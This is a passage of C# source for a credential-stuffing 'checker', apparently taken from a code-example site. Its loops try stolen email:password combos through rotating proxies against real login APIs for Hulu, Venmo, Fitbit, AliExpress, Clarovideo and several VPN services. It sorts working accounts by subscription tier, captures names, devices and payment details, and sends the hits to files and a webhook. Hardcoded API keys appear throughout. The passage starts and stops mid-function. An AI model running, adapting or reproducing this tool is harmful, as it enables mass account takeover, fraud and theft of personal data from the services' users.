                            req.AllowAutoRedirect    = false;
                            req.IgnoreProtocolErrors = true;
                            req.UserAgent            =
                                "Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36";
                            var text2 = req
                                        .Get(
                                "https://mfwkweb-api.clarovideo.net/services/user/login?device_id=web&device_category=web&device_model=web&device_type=web&device_so=Chrome&format=json&device_manufacturer=generic&authpn=webclient&authpt=tfg1h3j4k6fd7&api_version=v5.91&region=ecuador&HKS=6ncnsjb9n2iq9qa9ae6itg0fe6&username="******"&password="******"&includpaywayprofile=true").ToString();
                            if (text2.Contains("\":\"N\""))
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                            else if (text2.Contains("\":\"OK\"}"))
                            {
                                var pm            = "";
                                var country       = Parse(text2, "\",\"country_code\":\"", "\",\"");
                                var Language      = Parse(text2, ",\"language\":\"", "\",\"status\":\"success\",\"");
                                var Subscriptions = Parse(text2, "\"],\"subscriptions\":{\"", "\":");
                                var PaymentMethod = Parse(text2, "\":\"CV_MENSUAL\",\"key\":\"", "_Subscription");
                                if (PaymentMethod.Contains("hasSavedPayway\":0,\"hasUserSusc\":0,\""))
                                {
                                    pm = "False";
                                }
                                else
                                {
                                    pm = PaymentMethod;
                                }
                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Clarovideo_hits",
                                                array[0] + ":" + array[1] + " | Country: " + country + " | Language: " + Language +
                                                " | Subscription: " + Subscriptions + " | Payment Method: " + pm);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Clarovideo", array[0] + ":" + array[1]);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Clarovideo Hits");
                                }
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #11
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Linux; Android 5.1.1; SM-N950N Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36";
                            req.IgnoreProtocolErrors            = true;
                            req.AllowAutoRedirect               = false;
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var text2 = req
                                        .Get(
                                "https://login.aliexpress.com/join/preCheckForRegister.htm?registerFrom=AE_MAIN_POPUP_WHOLESALE&umidToken=TF8667EB6100A86A003D1394117BC098531BE493439628104133F08A610&ua=121%23%2FYnlk%2Fa66JQlVlhdG8AelLTlA0fNT33VOnraqEg2vw7DKxJnEEpSlhyY8psdK5jVllKY%2BzPIDMlSAQOZZLQPll9YAcWZKujVVyeH4FJ5KM9lOlrJEGiIlMLYAcfdK5jVlmuY%2BapIxM9VO3rnEkDIll9YOc8dKkjVlwgZZgz4XluVS0bvsbc9MtFPe6GG62ibYnsshu%2FmCjVDkeILF9K0bZs0JnCVMZujhLzT83%2Fybbi0CNk1INn0lPi0n6XSp2D0kZ748u%2FmCbibCeIaFtWbbZrDnnx9pCibCZ0T83BhC6ibBZRXB9hWMZecnzgmunYsUueNIG%2Fm7%2FibvehuddcVC6ibn5u9lfAHASYrvd0P1hdYMiBzHDlG1xhSAXe2Dp5YLO7aWyVA%2BDZKhnH1NiATHbEtUNISsaxdYZ9JlCSwwX5pMXwc8lSgokSUKkFgeP1eO1B8mXC2MYwSfvzuZ%2FvPVHwANcTEnu3J9F2wjA2%2FSdncze%2B72x4i56LOdJqyOCgEhs4TtfNNLb0zTryXyyaDcmdDeaRtp6fmiuYnh8kAdtewMVr9ngS9QM0udY13dLJgrnu6FkyC2i2lYQ9hGC5xcJ72YIp8OUNcwzQulMbnIDxmTB8XLh8LedQCmyaxpiVCVzWAVAWziRGif4CKGP4wE5AowYwdYMnOUF0Sg2QTOBvyuGCCJxkdozXdCPpIJQfQOwq13VkWq8OxJ9X9OqtPv4iq3S%2FpUTxs6p9z7qpN0fEUVBpfZwZqgdX0vdo8z0gW1bgXtszPBMdT7YaQoTtLAVqoQ899JeNmu7LN6yPaClZUkeojQ7DFzKlWratog0OIPp31Erenh%2BofLciibLpzqPzHnb8ulHCZhYBDDobTeeM2aHejvSs7SEWQTIzcwH0dwN5pFU1Uvg1NtW6d8mXeAWroHIiNvKeqRWc76A%2BbSu7nL0CFIZKezWp5hFZa6cT13T6WJ%2FkgHzGtSYO%2B80Z4D6omU%2FAByCPOlsotsO269hynZscAXTgD4wt9fz2Ge%2BAMy3lGRP9GnONcP0Zac5J%2BDA9JD0gkOo%2FYCBngFPJhRDKEzcXngKhvb7HQWZU3mDAJ3U7DP7TQujUgBclZ6%2B3d%2BVQO3DUs1CPOpfljgMRHYgOjp2fdca63StbJ1ciUc4UvLzc0jrKYFl2wjv4amBWosw%3D%3D&email=" +
                                array[0]).ToString();
                            var flag7 = text2.Contains(",\"isEmailExisted\":true");

                            if (flag7)
                            {
                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Aliexpress_hits", array[0] + ":" + array[1]);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Aliexpress", array[0] + ":" + array[1]);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Aliexpress Hits");
                                }
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #12
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent            = "HolaVPN/2.12 (iPhone; iOS 12.4.7; Scale/2.00)";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            var str1 = "affiliate_name=apple&friendly_name=Andy%27s+Iphone&password="******"&product_name=iPhone7%2C2&serial_number=00001e854946e42b1cbf418fe7d2dcd64df0&user_email=" +
                                       array[0];
                            req.SslCertificateValidatorCallback += (obj, cert, ssl, error) =>
                                                                   (cert as X509Certificate2).Verify();
                            var source = req.Post("https://auth.hulu.com/v1/device/password/authenticate", str1,
                                                  "application/x-www-form-urlencoded").ToString();
                            var flag = source.Contains("user_token");
                            if (!source.Contains("Your login is invalid"))
                            {
                                if (flag)
                                {
                                    var str2 = Parse(source, "user_token\":\"", "\",\"");
                                    req.AddHeader("Authorization", "Bearer " + str2);
                                    var str3 = req.Get("https://home.hulu.com/v1/users/self").ToString();
                                    if (str3.Contains("262144"))
                                    {
                                        Program.Frees++;
                                        Program.TotalChecks++;
                                        Export.AsResult("/Hulu_frees", array[0] + ":" + array[1]);
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintFree("Hulu", array[0] + ":" + array[1]);
                                        }
                                        if (Settings.sendToWebhook)
                                        {
                                            Settings.sendTowebhook1(array[0] + ":" + array[1], "Hulu Free");
                                        }
                                    }

                                    if (str3.Contains("66536"))
                                    {
                                        Program.Hits++;
                                        Program.TotalChecks++;
                                        Export.AsResult("/Hulu_hits", array[0] + ":" + array[1] + " | Hulu with ads");
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintHit("Hulu", array[0] + ":" + array[1] + " | Hulu with ads");
                                        }
                                        if (Settings.sendToWebhook)
                                        {
                                            Settings.sendTowebhook1(array[0] + ":" + array[1] + " | Hulu with ads",
                                                                    "Hulu Hit");
                                        }
                                    }

                                    if (str3.Contains("197608"))
                                    {
                                        Program.Hits++;
                                        Program.TotalChecks++;
                                        Export.AsResult("/Hulu_hits", array[0] + ":" + array[1] + " | Hulu (No Ads)");
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintHit("Hulu", array[0] + ":" + array[1] + " | Hulu (No Ads)");
                                        }
                                        if (Settings.sendToWebhook)
                                        {
                                            Settings.sendTowebhook1(array[0] + ":" + array[1] + " | Hulu (No Ads)",
                                                                    "Hulu Hit");
                                        }
                                    }

                                    if (str3.Contains("459752"))
                                    {
                                        Program.Hits++;
                                        Program.TotalChecks++;
                                        Export.AsResult("/Hulu_hits",
                                                        array[0] + ":" + array[1] + " | Hulu (No Ads) + Showtime");
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintHit("Hulu",
                                                              array[0] + ":" + array[1] + " | Hulu (No Ads) + Showtime");
                                        }
                                        if (Settings.sendToWebhook)
                                        {
                                            Settings.sendTowebhook1(
                                                array[0] + ":" + array[1] + " | Hulu (No Ads) + Showtime", "Hulu Hit");
                                        }
                                    }

                                    if (str3.Contains("1311769576"))
                                    {
                                        Program.Hits++;
                                        Program.TotalChecks++;
                                        Export.AsResult("/Hulu_hits",
                                                        array[0] + ":" + array[1] +
                                                        " |  Hulu (No Ads) + Live TV, Enhanced Cloud DVR + Unlimited Screens Bundle, STARZ®");
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintHit("Hulu",
                                                              array[0] + ":" + array[1] +
                                                              " |  Hulu (No Ads) + Live TV, Enhanced Cloud DVR + Unlimited Screens Bundle, STARZ®");
                                        }
                                        if (Settings.sendToWebhook)
                                        {
                                            Settings.sendTowebhook1(
                                                array[0] + ":" + array[1] +
                                                " |  Hulu (No Ads) + Live TV, Enhanced Cloud DVR + Unlimited Screens Bundle, STARZ®",
                                                "Hulu Hit");
                                        }
                                    }

                                    if (str3.Contains("1049576"))
                                    {
                                        Program.Hits++;
                                        Program.TotalChecks++;
                                        Export.AsResult("/Hulu_hits",
                                                        array[0] + ":" + array[1] + " |  Hulu + Live TV + HBO + CINEMAX");
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintHit("Hulu",
                                                              array[0] + ":" + array[1] + " |  Hulu + Live TV + HBO + CINEMAX");
                                        }
                                        if (Settings.sendToWebhook)
                                        {
                                            Settings.sendTowebhook1(
                                                array[0] + ":" + array[1] + " |  Hulu + Live TV + HBO + CINEMAX",
                                                "Hulu Hit");
                                        }
                                        if (str3.Contains("200356"))
                                        {
                                            Program.Hits++;
                                            Program.TotalChecks++;
                                            Export.AsResult("/Hulu_hits",
                                                            array[0] + ":" + array[1] + " |  Hulu (No Ads) Free Trial");
                                            if (Program.lorc == "LOG")
                                            {
                                                Settings.PrintHit("Hulu",
                                                                  array[0] + ":" + array[1] + " |  Hulu (No Ads) Free Trial");
                                            }
                                            if (Settings.sendToWebhook)
                                            {
                                                Settings.sendTowebhook1(
                                                    array[0] + ":" + array[1] + " |  Hulu (No Ads) Free Trial",
                                                    "Hulu Hit");
                                            }
                                        }

                                        if (str3.Contains("70125"))
                                        {
                                            Program.Hits++;
                                            Program.TotalChecks++;
                                            Export.AsResult("/Hulu_hits",
                                                            array[0] + ":" + array[1] + " |  Hulu + CINEMAX®");
                                            if (Program.lorc == "LOG")
                                            {
                                                Settings.PrintHit("Hulu",
                                                                  array[0] + ":" + array[1] + " |  Hulu + CINEMAX®");
                                            }
                                            if (Settings.sendToWebhook)
                                            {
                                                Settings.sendTowebhook1(
                                                    array[0] + ":" + array[1] + " |  Hulu + CINEMAX®", "Hulu Hit");
                                            }
                                        }
                                    }

                                    req.Dispose();
                                }
                                else
                                {
                                    Program.TotalChecks++;
                                    Program.Fails++;
                                    req.Dispose();
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #13
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            //Console.WriteLine(guid);
                            var guid      = Guid.NewGuid().ToString();
                            var cookies   = new CookieStorage();
                            var csrfToken = VenmoGetCSRF(ref cookies);

                            req.Cookies   = cookies;
                            req.UserAgent = "Venmo/8.4.0 (iPhone; iOS 13.2; Scale/3.0)";
                            req.AddHeader("Content-Type", "application/json");
                            req.AddHeader("Accept", "application/json; charset=utf-8");
                            req.AddHeader("Accept-Language", "en-US;q=1.0,el-GR;q=0.9");
                            req.AddHeader("device-id", guid);
                            req.AddHeader("csrftoken2", csrfToken);

                            var res = req.Post(new Uri("https://api.venmo.com/v1/oauth/access_token"),
                                               new BytesContent(Encoding.Default.GetBytes("{\"phone_email_or_username\":\"" +
                                                                                          array[0] + "\",\"password\":\"" + array[1] +
                                                                                          "\",\"client_id\":\"1\"}")));
                            var strResponse = res.ToString();
                            if (strResponse.Contains("Additional authentication is required"))
                            {
                                var secret  = res["venmo-otp-secret"];
                                var capture = "";
                                capture = VenmoGetCaptures(cookies, secret, guid);
                                if (capture == "Free")
                                {
                                    Program.Frees++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Venmo_frees", array[0] + ":" + array[1]);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintFree("Venmo", array[0] + ":" + array[1]);
                                    }
                                }
                                else
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Venmo_hits", array[0] + ":" + array[1] + " | " + capture);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Venmo", array[0] + ":" + array[1] + " | " + capture);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1] + " | " + capture,
                                                                "Venmo Hits");
                                    }
                                }
                            }
                            else if (strResponse.Contains("{\"message\": \"Your email or password was incorrect.\""))
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #14
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.AllowAutoRedirect    = false;
                            req.Cookies              = new CookieDictionary();
                            req.IgnoreProtocolErrors = true;
                            req.UserAgent            = "okhttp/2.3.0";
                            req.AddHeader("username", array[0]);
                            req.AddHeader("password", array[1]);
                            req.AddHeader("X-GF-Agent", "VyprVPN Android v2.19.0.7702. (56aa5dfd)");
                            req.AddHeader("X-GF-PRODUCT", "VyprVPN");
                            req.AddHeader("X-GF-PRODUCT-VERSION", "2.19.0.7702");
                            req.AddHeader("X-GF-PLATFORM", "Android");
                            req.AddHeader("X-GF-PLATFORM-VERSION", "6.0");
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var text3 = req.Get("https://api.goldenfrog.com/settings").ToString();
                            var flag7 = text3.Contains("confirmed\": true");
                            if (flag7)
                            {
                                var text4 = Parse(text3, "\"account_level_display\": \"", "\"");
                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Vypervpn_hits", array[0] + ":" + array[1] + " | Plan: " + text4);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("VyperVPN", array[0] + ":" + array[1] + " | Plan: " + text4);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1] + " | Plan: " + text4,
                                                            "Vyper VPN Hits");
                                }
                            }
                            else
                            {
                                var flag9 = text3.Contains("invalid username or password");
                                if (flag9)
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else
                                {
                                    var flag10 = text3.Contains("vpn\": null");
                                    if (flag10)
                                    {
                                        Program.Frees++;
                                        Program.TotalChecks++;
                                        Export.AsResult("/Vypervpn_frees", array[0] + ":" + array[1]);
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintFree("VyperVPN", array[0] + ":" + array[1]);
                                        }
                                    }
                                    else
                                    {
                                        var flag15 = text3.Contains("locked");
                                        if (!flag15)
                                        {
                                            Program.Frees++;
                                            Program.TotalChecks++;
                                            Export.AsResult("/Vypervpn_locked", array[0] + ":" + array[1]);
                                        }
                                        else if (text3.Contains("Your browser didn't send a complete request in time"))
                                        {
                                            Program.Fails++;
                                            Program.TotalChecks++;
                                        }
                                    }
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #15
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            var capture = new StringBuilder();

                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent                       = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                            req.IgnoreProtocolErrors            = true;
                            req.AllowAutoRedirect               = true;
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var Getlogin     = req.Get("https://account.hotspotshield.com/sign-in/").ToString();
                            var access_token = Parse(Getlogin, "vxsftok: '", "'");
                            var str          = "login="******"&pwd=" + array[1] + "&remember=0&ajax=true&vxsftok=" +
                                               access_token;

                            var strResponse = req.Post("https://account.hotspotshield.com/sign-in", str,
                                                       "application/x-www-form-urlencoded").ToString();
                            {
                                if (strResponse.Contains("result\":0"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (strResponse.Contains("result\":1")) //hit
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Hotspotshield_hits", array[0] + ":" + array[1]);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Hotspotshield", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "Hot Spot Shields Hits");
                                    }
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #16
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            var capture = new StringBuilder();

                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            var str = string.Concat("username="******"&password="******"&scope=activity heartrate location nutrition profile settings sleep social weight mfa_ok&grant_type=password");
                            req.AddHeader("Authorization",
                                          "Basic MjI4VlNSOjQ1MDY4YTc2Mzc0MDRmYzc5OGEyMDhkNmMxZjI5ZTRm");
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var text2 = req
                                        .Post(
                                "https://android-api.fitbit.com/oauth2/token?session-data={\"os-name\":\"Android\",\"os-version\":\"5.1.1\",\"device-model\":\"LGM-V300K\",\"device-manufacturer\":\"LGE\",\"device-name\":\"\"}",
                                str, "application/x-www-form-urlencoded").ToString();

                            if (text2.Contains("deviceVersion"))
                            {
                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Fitbit_hits", array[0] + ":" + array[1]);
                            }
                            else
                            {
                                if (text2.Contains("Invalid username/password") ||
                                    text2.Contains("Missing parameters") || text2.Contains("plan\":\"\""))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (text2.Contains("access_token"))
                                {
                                    req.ClearAllHeaders();
                                    var str2 = Parse(text2, "access_token\":\"", "\"");
                                    var str3 = Parse(text2, "user_id\":\"", "\"");
                                    req.AddHeader("Authorization", "Bearer " + str2);
                                    var text3 = req
                                                .Get("https://android-api.fitbit.com/1/user/" + str3 + "/devices.json?")
                                                .ToString();
                                    if (text3.Contains("[]"))
                                    {
                                        Program.Fails++;
                                        Program.TotalChecks++;
                                    }
                                    else if (text3.Contains("deviceVersion"))
                                    {
                                        var text4 = Parse(text3, "deviceVersion\":\"", "\"");
                                        var text5 = Parse(text3, "lastSyncTime\":\"", "\"");
                                        req.AddHeader("Authorization", "Bearer " + str2);
                                        var text6 = req
                                                    .Get("https://android-api.fitbit.com/1/user/" + str3 + "/profile.json")
                                                    .ToString();
                                        if (text6.Contains("fullName\":\""))
                                        {
                                            var text7 = Parse(text6, "fullName\":\"", "\"");
                                            var text8 = Parse(text6, "memberSince\":\"", "\"");
                                            Program.Hits++;
                                            Program.TotalChecks++;
                                            Export.AsResult("/Fitbit_hits",
                                                            array[0] + ":" + array[1] + " | Name: " + text7 + " | Member Since: " +
                                                            text8 + " | Last Sync Time: " + text5 + " | Device: " + text4);
                                            if (Program.lorc == "LOG")
                                            {
                                                Settings.PrintHit("Fitbit",
                                                                  array[0] + ":" + array[1] + " | Name: " + text7 +
                                                                  " | Member Since: " + text8 + " | Last Sync Time: " + text5 +
                                                                  " | Device: " + text4);
                                            }
                                            if (Settings.sendToWebhook)
                                            {
                                                Settings.sendTowebhook1(
                                                    array[0] + ":" + array[1] + " | Name: " + text7 +
                                                    " | Member Since: " + text8 + " | Last Sync Time: " + text5 +
                                                    " | Device: " + text4, "Fitbit Hits");
                                            }
                                        }
                                    }
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #17
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            var capture = new StringBuilder();

                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent            = "okhttp/4.7.2";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            var str = "methodName=login&apikey=52f4d13c50ed520227ad198f1ccbcd58&username="******"&password="******"https://api.ibvpn.net/android/v14/", str,
                                                 "application/x-www-form-urlencoded").ToString();
                            var flag7 = text2.Contains("userId");

                            if (flag7)
                            {
                                Program.Hits++;
                                Program.TotalChecks++;

                                Export.AsResult("/Ibvpn_hits", array[0] + ":" + array[1]);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Ib VPN", array[0] + ":" + array[1]);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Ib VPN Hits");
                                }
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #18
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
